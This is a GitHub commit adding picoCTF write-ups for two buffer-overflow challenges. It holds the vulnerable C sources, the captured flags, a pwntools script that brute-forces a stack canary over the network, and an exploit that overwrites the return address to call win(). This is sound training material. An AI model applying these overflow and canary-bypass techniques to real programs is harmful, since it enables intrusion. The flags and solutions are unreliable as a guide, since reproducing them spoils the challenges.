Skip to content

Commit 9e12c3b

Browse files
committed
buffer overflows complete
1 parent b9ef42b commit 9e12c3b

File tree

9 files changed

+166
-0
lines changed

9 files changed

+166
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
# buffer overflow 2
2+
## Author
3+
Sanjay C / Palash Oswal
4+
## Description
5+
Control the return address and arguments
6+
This time you'll need to control the arguments to the function you return to! Can you get the flag from this [program](./vuln)? You can view source [here](./vuln.c). And connect with it using `nc saturn.picoctf.net 51561`
7+
## Hints
8+
1. Try using GDB to print out the stack once you write to it.
9+
## Approach
10+
Watch [this video](https://youtu.be/eJ0FmCfD-1g) and change a few things to fit the current problem.
11+
## Flag
12+
picoCTF{argum3nt5_4_d4yZ_2a8ec317}
15.4 KB
Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <string.h>
4+
#include <unistd.h>
5+
#include <sys/types.h>
6+
7+
#define BUFSIZE 100
8+
#define FLAGSIZE 64
9+
10+
void win(unsigned int arg1, unsigned int arg2) {
11+
char buf[FLAGSIZE];
12+
FILE *f = fopen("flag.txt","r");
13+
if (f == NULL) {
14+
printf("%s %s", "Please create 'flag.txt' in this directory with your",
15+
"own debugging flag.\n");
16+
exit(0);
17+
}
18+
19+
fgets(buf,FLAGSIZE,f);
20+
if (arg1 != 0xCAFEF00D)
21+
return;
22+
if (arg2 != 0xF00DF00D)
23+
return;
24+
printf(buf);
25+
}
26+
27+
void vuln(){
28+
char buf[BUFSIZE];
29+
gets(buf);
30+
puts(buf);
31+
}
32+
33+
int main(int argc, char **argv){
34+
35+
setvbuf(stdout, NULL, _IONBF, 0);
36+
37+
gid_t gid = getegid();
38+
setresgid(gid, gid, gid);
39+
40+
puts("Please enter your string: ");
41+
vuln();
42+
return 0;
43+
}
44+
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
# buffer overflow 3
2+
## Author
3+
Sanjay C / Palash Oswal
4+
## Description
5+
Do you think you can bypass the protection and get the flag? It looks like Dr. Oswal added a stack canary to this [program](./vuln) to protect against buffer overflows. You can view source [here](./vuln.c). And connect with it using:
6+
`nc saturn.picoctf.net 63257`
7+
## Hints
8+
1. Maybe there's a smart way to brute-force the canary?
9+
## Approach
10+
I watched [this video](https://youtu.be/4Eir5gsSIM8) and changed parts of the code (assuming pwntools updated).
11+
### script.py
12+
For [`script.py`](./script.py), the goal is to brute force the canary. We do this by just looping through a bunch of characters and spamming it on the shell. Each time a correct character is found, the program will print it then terminate. At each correct character, modify line 4 to be one number higher and append the right character to line 5.
13+
### exploit.py
14+
Looking at [`vuln.c`](./vuln.c) tells us the canary is 4 characters long meaning we can stop running [`script.py`](./script.py) once we get 4 characters. We find the canary is "BiRd". When we get to 4 characters, we know the canary and can overflow the buffer. If we run `gdb vuln` and then `disassemble win` we can find the address of the win function. After that, we can build the [exploit script](./exploit.py) and run it to get the flag.
15+
## Flag
16+
picoCTF{Stat1C_c4n4r13s_4R3_b4D_f7c1f50a}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
from pwn import *
2+
p = remote("saturn.picoctf.net", 63257)
3+
p.sendline(b"92") # 68
4+
p.sendline(b"A"*64 + b"BiRd" + b"A"*16 + p32(0x08049336))
5+
6+
p.interactive()
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
from pwn import *
2+
for i in range(33, 256):
3+
p = remote("saturn.picoctf.net", 63257)
4+
p.sendline(b"66")
5+
p.sendline(b"a"*64 + b"B" + chr(i).encode())
6+
ans = p.recvall().decode()
7+
if "Ok" in ans:
8+
print(chr(i))
9+
break
15.7 KB
Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <string.h>
4+
#include <unistd.h>
5+
#include <sys/types.h>
6+
#include <wchar.h>
7+
#include <locale.h>
8+
9+
#define BUFSIZE 64
10+
#define FLAGSIZE 64
11+
#define CANARY_SIZE 4
12+
13+
void win() {
14+
char buf[FLAGSIZE];
15+
FILE *f = fopen("flag.txt","r");
16+
if (f == NULL) {
17+
printf("%s %s", "Please create 'flag.txt' in this directory with your",
18+
"own debugging flag.\n");
19+
exit(0);
20+
}
21+
22+
fgets(buf,FLAGSIZE,f); // size bound read
23+
puts(buf);
24+
fflush(stdout);
25+
}
26+
27+
char global_canary[CANARY_SIZE];
28+
void read_canary() {
29+
FILE *f = fopen("canary.txt","r");
30+
if (f == NULL) {
31+
printf("%s %s", "Please create 'canary.txt' in this directory with your",
32+
"own debugging canary.\n");
33+
exit(0);
34+
}
35+
36+
fread(global_canary,sizeof(char),CANARY_SIZE,f);
37+
fclose(f);
38+
}
39+
40+
void vuln(){
41+
char canary[CANARY_SIZE];
42+
char buf[BUFSIZE];
43+
char length[BUFSIZE];
44+
int count;
45+
int x = 0;
46+
memcpy(canary,global_canary,CANARY_SIZE);
47+
printf("How Many Bytes will You Write Into the Buffer?\n> ");
48+
while (x<BUFSIZE) {
49+
read(0,length+x,1);
50+
if (length[x]=='\n') break;
51+
x++;
52+
}
53+
sscanf(length,"%d",&count);
54+
55+
printf("Input> ");
56+
read(0,buf,count);
57+
58+
if (memcmp(canary,global_canary,CANARY_SIZE)) {
59+
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
60+
exit(-1);
61+
}
62+
printf("Ok... Now Where's the Flag?\n");
63+
fflush(stdout);
64+
}
65+
66+
int main(int argc, char **argv){
67+
68+
setvbuf(stdout, NULL, _IONBF, 0);
69+
70+
// Set the gid to the effective gid
71+
// this prevents /bin/sh from dropping the privileges
72+
gid_t gid = getegid();
73+
setresgid(gid, gid, gid);
74+
read_canary();
75+
vuln();
76+
return 0;
77+
}

README.md

+2
Original file line numberDiff line numberDiff line change
@@ -86,5 +86,7 @@
8686
|[buffer overflow 1](./Binary%20Exploitation/buffer%20overflow%201/)|200|
8787
|[RPS](./Binary%20Exploitation/RPS)|200|
8888
|[x-sixty-what](./Binary%20Exploitation/x-sixty-what)|200|
89+
|[buffer overflow 2](./Binary%20Exploitation/buffer%20overflow%202)|200|
90+
|[buffer overflow 3](./Binary%20Exploitation/buffer%20overflow%203)|300|
8991

9092
</details>

0 commit comments

Comments
 (0)